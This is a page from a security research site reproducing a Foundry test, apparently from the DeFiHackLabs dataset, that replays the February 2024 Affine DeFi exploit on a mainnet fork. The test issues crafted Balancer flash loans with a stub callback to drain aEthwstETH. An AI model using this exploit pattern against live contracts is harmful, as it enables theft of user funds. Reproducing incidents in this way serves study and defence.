Public reproduction file

src/test/2024-02/AffineDeFi_exp.sol

Public reproduction file for dataset entry AffineDeFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/AffineDeFi_exp.sol72 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8    @KeyInfo
9    - Total Lost: 33 $aEthwstETH
10    - Attacker: https://etherscan.io/address/0x09f6be2a7d0d2789f01ddfaf04d4eaa94efc0857
11    - Attack Contract: https://etherscan.io/address/0x12d85e5869258a80d4bebe70d176d0f58b2d68e4
12    - Vuln Contract: https://etherscan.io/address/0xcd6ca2f0d0c182c5049d9a1f65cde51a706ae142
13    - Attack Tx: https://app.blocksec.com/explorer/tx/eth/0x03543ef96c26d6c79ff6c24219c686ae6d0eb5453b322e54d3b6a5ce456385e5
14    - Analysis: https://twitter.com/Phalcon_xyz/status/1753020812284809440
15*/
16 
17interface IBalancer {
18    function flashLoan(
19        IFlashLoanRecipient recipient,
20        IERC20[] memory tokens,
21        uint256[] memory amounts,
22        bytes memory userData
23    ) external;
24}
25 
26contract ExploitTest is Test {
27    address aEthwstETH = 0x0B925eD163218f6662a35e0f0371Ac234f9E9371;
28    address Balancer = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
29    address LidoLevV3 = 0xcd6ca2f0d0c182C5049D9A1F65cDe51A706ae142;
30    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31 
32    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
33 
34    function setUp() public {
35        cheats.createSelectFork("mainnet", 19_132_935 - 1);
36        cheats.label(address(aEthwstETH), "aEthwstETH");
37        cheats.label(address(Balancer), "Balancer");
38        cheats.label(address(LidoLevV3), "LidoLevV3");
39    }
40 
41    function testExploit() external {
42        emit log_named_decimal_uint(
43            "Exploiter aEthwstETH balance before attack",
44            IERC20(aEthwstETH).balanceOf(address(this)),
45            IERC20(aEthwstETH).decimals()
46        );
47 
48        bytes memory userencodeData = abi.encode(1, address(this));
49        bytes memory userencodeData2 = abi.encode(2, address(this));
50        uint256[] memory amount = new uint256[](1);
51        uint256[] memory amount2 = new uint256[](1);
52        IERC20[] memory token = new IERC20[](1);
53 
54        token[0] = IERC20(WETH);
55        amount[0] = 318_973_831_042_619_036_856;
56        amount2[0] = 0;
57        IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount, userencodeData);
58        IBalancer(Balancer).flashLoan(IFlashLoanRecipient(LidoLevV3), token, amount2, userencodeData2);
59 
60        emit log_named_decimal_uint(
61            "Exploiter aEthwstETH balance after attack",
62            IERC20(aEthwstETH).balanceOf(address(this)),
63            IERC20(aEthwstETH).decimals()
64        );
65    }
66 
67    function createAaveDebt(
68        uint256 wethAmount
69    ) external {
70        // do nothing
71    }
72}

Analysis

Dataset entry

Public Foundry test for “AffineDeFi” (2024-02-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines

Also imports external libraries: forge-std/Test.sol.

File record

Name: AffineDeFi
Path: src/test/2024-02/AffineDeFi_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 25fdd0af922989ed4dd88befd9303014fea73c43
Language: Solidity
Size: 73 lines
Date: 2024-02-01
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-02/AffineDeFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 25fdd0af922989ed4dd88befd9303014fea73c43, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.